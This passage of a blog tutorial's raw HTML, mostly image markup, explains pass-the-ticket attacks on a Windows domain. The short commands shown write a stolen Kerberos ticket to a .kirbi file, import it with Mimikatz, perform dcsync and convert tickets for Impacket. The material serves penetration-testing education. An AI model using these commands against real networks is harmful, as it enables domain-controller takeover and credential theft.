https://substackcdn.com/image/fetch/$s_!hWag!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8c330ec6-7ba9-43e6-bcb9-57f89d3c4f37_676x299.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1><strong>Mimikatz (.kirbi)</strong></h1><p>Mimikatz can import Kerberos tickets to the current session in the form of <code>.kirbi</code> files. Before starting, we&#8217;ll again verify we don&#8217;t have rights on the domain controller:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qmw8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53aeeed3-f80d-44db-a898-bb7908e257b2_523x111.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qmw8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53aeeed3-f80d-44db-a898-bb7908e257b2_523x111.png 424w, https://substackcdn.com/image/fetch/$s_!qmw8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53aeeed3-f80d-44db-a898-bb7908e257b2_523x111.png 848w, https://substackcdn.com/image/fetch/$s_!qmw8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53aeeed3-f80d-44db-a898-bb7908e257b2_523x111.png 1272w, https://substackcdn.com/image/fetch/$s_!qmw8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53aeeed3-f80d-44db-a898-bb7908e257b2_523x111.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qmw8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53aeeed3-f80d-44db-a898-bb7908e257b2_523x111.png" width="523" height="111" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/53aeeed3-f80d-44db-a898-bb7908e257b2_523x111.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:111,&quot;width&quot;:523,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;DC Fail&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="DC Fail" title="DC Fail" srcset="https://substackcdn.com/image/fetch/$s_!qmw8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53aeeed3-f80d-44db-a898-bb7908e257b2_523x111.png 424w, https://substackcdn.com/image/fetch/$s_!qmw8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53aeeed3-f80d-44db-a898-bb7908e257b2_523x111.png 848w, https://substackcdn.com/image/fetch/$s_!qmw8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53aeeed3-f80d-44db-a898-bb7908e257b2_523x111.png 1272w, https://substackcdn.com/image/fetch/$s_!qmw8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53aeeed3-f80d-44db-a898-bb7908e257b2_523x111.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>We can use a PowerShell oneliner to write the base64 ticket grabbed with Rubeus out to a file:</p><pre><code><code>IO.File]::WriteAllBytes("C:\output.kirbi", [Convert]::FromBase64String("&lt;base64 blob&gt;"))</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wEsI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb84e3ff7-590c-4125-9f72-3698dc8a9659_1072x228.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wEsI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb84e3ff7-590c-4125-9f72-3698dc8a9659_1072x228.png 424w, https://substackcdn.com/image/fetch/$s_!wEsI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb84e3ff7-590c-4125-9f72-3698dc8a9659_1072x228.png 848w, https://substackcdn.com/image/fetch/$s_!wEsI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb84e3ff7-590c-4125-9f72-3698dc8a9659_1072x228.png 1272w, https://substackcdn.com/image/fetch/$s_!wEsI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb84e3ff7-590c-4125-9f72-3698dc8a9659_1072x228.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wEsI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb84e3ff7-590c-4125-9f72-3698dc8a9659_1072x228.png" width="1072" height="228" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/b84e3ff7-590c-4125-9f72-3698dc8a9659_1072x228.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:228,&quot;width&quot;:1072,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Write Kirbi&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Write Kirbi" title="Write Kirbi" srcset="https://substackcdn.com/image/fetch/$s_!wEsI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb84e3ff7-590c-4125-9f72-3698dc8a9659_1072x228.png 424w, https://substackcdn.com/image/fetch/$s_!wEsI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb84e3ff7-590c-4125-9f72-3698dc8a9659_1072x228.png 848w, https://substackcdn.com/image/fetch/$s_!wEsI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb84e3ff7-590c-4125-9f72-3698dc8a9659_1072x228.png 1272w, https://substackcdn.com/image/fetch/$s_!wEsI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb84e3ff7-590c-4125-9f72-3698dc8a9659_1072x228.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Boot up Mimikatz and import the ticket:</p><pre><code><code>kerberos::ptt &lt;path to kirbi file&gt;</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JD0P!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36cb4387-0a63-40fd-ae5e-55c4040f65ee_723x233.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JD0P!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36cb4387-0a63-40fd-ae5e-55c4040f65ee_723x233.png 424w, https://substackcdn.com/image/fetch/$s_!JD0P!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36cb4387-0a63-40fd-ae5e-55c4040f65ee_723x233.png 848w, https://substackcdn.com/image/fetch/$s_!JD0P!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36cb4387-0a63-40fd-ae5e-55c4040f65ee_723x233.png 1272w, https://substackcdn.com/image/fetch/$s_!JD0P!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36cb4387-0a63-40fd-ae5e-55c4040f65ee_723x233.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JD0P!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36cb4387-0a63-40fd-ae5e-55c4040f65ee_723x233.png" width="723" height="233" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/36cb4387-0a63-40fd-ae5e-55c4040f65ee_723x233.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:233,&quot;width&quot;:723,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Import Kirbi&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Import Kirbi" title="Import Kirbi" srcset="https://substackcdn.com/image/fetch/$s_!JD0P!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36cb4387-0a63-40fd-ae5e-55c4040f65ee_723x233.png 424w, https://substackcdn.com/image/fetch/$s_!JD0P!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36cb4387-0a63-40fd-ae5e-55c4040f65ee_723x233.png 848w, https://substackcdn.com/image/fetch/$s_!JD0P!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36cb4387-0a63-40fd-ae5e-55c4040f65ee_723x233.png 1272w, https://substackcdn.com/image/fetch/$s_!JD0P!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36cb4387-0a63-40fd-ae5e-55c4040f65ee_723x233.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>To test if it worked, we&#8217;ll start a new command prompt with <code>misc::cmd</code> and verify we can access the DC:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-HZz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F188278ba-b66b-4407-a0bd-c82d6b0c8afd_852x404.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-HZz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F188278ba-b66b-4407-a0bd-c82d6b0c8afd_852x404.png 424w, https://substackcdn.com/image/fetch/$s_!-HZz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F188278ba-b66b-4407-a0bd-c82d6b0c8afd_852x404.png 848w, https://substackcdn.com/image/fetch/$s_!-HZz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F188278ba-b66b-4407-a0bd-c82d6b0c8afd_852x404.png 1272w, https://substackcdn.com/image/fetch/$s_!-HZz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F188278ba-b66b-4407-a0bd-c82d6b0c8afd_852x404.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-HZz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F188278ba-b66b-4407-a0bd-c82d6b0c8afd_852x404.png" width="852" height="404" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/188278ba-b66b-4407-a0bd-c82d6b0c8afd_852x404.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:404,&quot;width&quot;:852,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;DC Access&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="DC Access" title="DC Access" srcset="https://substackcdn.com/image/fetch/$s_!-HZz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F188278ba-b66b-4407-a0bd-c82d6b0c8afd_852x404.png 424w, https://substackcdn.com/image/fetch/$s_!-HZz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F188278ba-b66b-4407-a0bd-c82d6b0c8afd_852x404.png 848w, https://substackcdn.com/image/fetch/$s_!-HZz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F188278ba-b66b-4407-a0bd-c82d6b0c8afd_852x404.png 1272w, https://substackcdn.com/image/fetch/$s_!-HZz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F188278ba-b66b-4407-a0bd-c82d6b0c8afd_852x404.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>W00t! While we&#8217;re here in Mimikatz, we should also be able to perform a dcsync attack:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CmDQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F31e278ef-2fbc-42f0-b3e4-885231fc362f_666x462.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CmDQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F31e278ef-2fbc-42f0-b3e4-885231fc362f_666x462.png 424w, https://substackcdn.com/image/fetch/$s_!CmDQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F31e278ef-2fbc-42f0-b3e4-885231fc362f_666x462.png 848w, https://substackcdn.com/image/fetch/$s_!CmDQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F31e278ef-2fbc-42f0-b3e4-885231fc362f_666x462.png 1272w, https://substackcdn.com/image/fetch/$s_!CmDQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F31e278ef-2fbc-42f0-b3e4-885231fc362f_666x462.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CmDQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F31e278ef-2fbc-42f0-b3e4-885231fc362f_666x462.png" width="666" height="462" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/31e278ef-2fbc-42f0-b3e4-885231fc362f_666x462.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:462,&quot;width&quot;:666,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;DCSync&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="DCSync" title="DCSync" srcset="https://substackcdn.com/image/fetch/$s_!CmDQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F31e278ef-2fbc-42f0-b3e4-885231fc362f_666x462.png 424w, https://substackcdn.com/image/fetch/$s_!CmDQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F31e278ef-2fbc-42f0-b3e4-885231fc362f_666x462.png 848w, https://substackcdn.com/image/fetch/$s_!CmDQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F31e278ef-2fbc-42f0-b3e4-885231fc362f_666x462.png 1272w, https://substackcdn.com/image/fetch/$s_!CmDQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F31e278ef-2fbc-42f0-b3e4-885231fc362f_666x462.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1><strong>Impacket and CrackMapExec (.ccache)</strong></h1><p>This is by far my preferred method for using a stolen ticket, but it&#8217;s also the one with the most formatting steps. We need to get the base64 ticket into a <code>.ccache</code> file. We can do this by converting from a <code>.kirbi</code> file, using Impacket&#8217;s <code>ticketConverter.py</code>.</p><p>First, format the base64 ticket to remove line breaks, spaces, etc. and then decode it with the <code>base64</code> command, writing the output to a kirbi file:</p><pre><code><code>base64 -d &lt;base64 ticket file&gt; &gt; &lt;output .kirbi&gt; </code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cANl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1410d3e4-50f1-41de-8803-6287b2ded82b_1223x334.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cANl!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1410d3e4-50f1-41de-8803-6287b2ded82b_1223x334.png 424w, https://substackcdn.com/image/fetch/$s_!cANl!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1410d3e4-50f1-41de-8803-6287b2ded82b_1223x334.png 848w, https://substackcdn.com/image/fetch/$s_!cANl!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1410d3e4-50f1-41de-8803-6287b2ded82b_1223x334.png 1272w, https://substackcdn.com/image/fetch/$s_!cANl!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1410d3e4-50f1-41de-8803-6287b2ded82b_1223x334.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cANl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1410d3e4-50f1-41de-8803-6287b2ded82b_1223x334.png" width="1223" height="334" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/1410d3e4-50f1-41de-8803-6287b2ded82b_1223x334.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:334,&quot;width&quot;:1223,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:181881,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 